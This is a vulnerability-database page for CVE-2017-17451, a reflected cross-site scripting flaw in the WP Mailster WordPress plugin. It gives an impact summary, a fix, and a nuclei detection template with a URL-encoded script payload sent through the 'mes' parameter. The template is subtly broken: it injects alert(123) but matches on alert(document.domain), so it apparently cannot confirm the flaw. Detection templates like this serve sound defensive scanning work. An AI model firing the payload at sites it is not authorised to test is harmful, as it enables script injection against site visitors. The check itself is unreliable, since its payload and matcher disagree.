HexBrain

Browse / CVEs / CVE-2017-17451

CVE-2017-17451· wpmailster / wp mailster· CWE-79

WordPress Mailster <=1.5.4 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5.1%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/wp-mailster/readme.txt
Positive when: contains "WP Mailster ="
Send: GET {{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-17451 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-17451

info:
  name: WordPress Mailster <=1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.
  reference:
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
    epss-score: 0.05088
    epss-percentile: 0.92418
    cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpmailster
    product: "wp_mailster"
    framework: wordpress
  tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Mailster ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from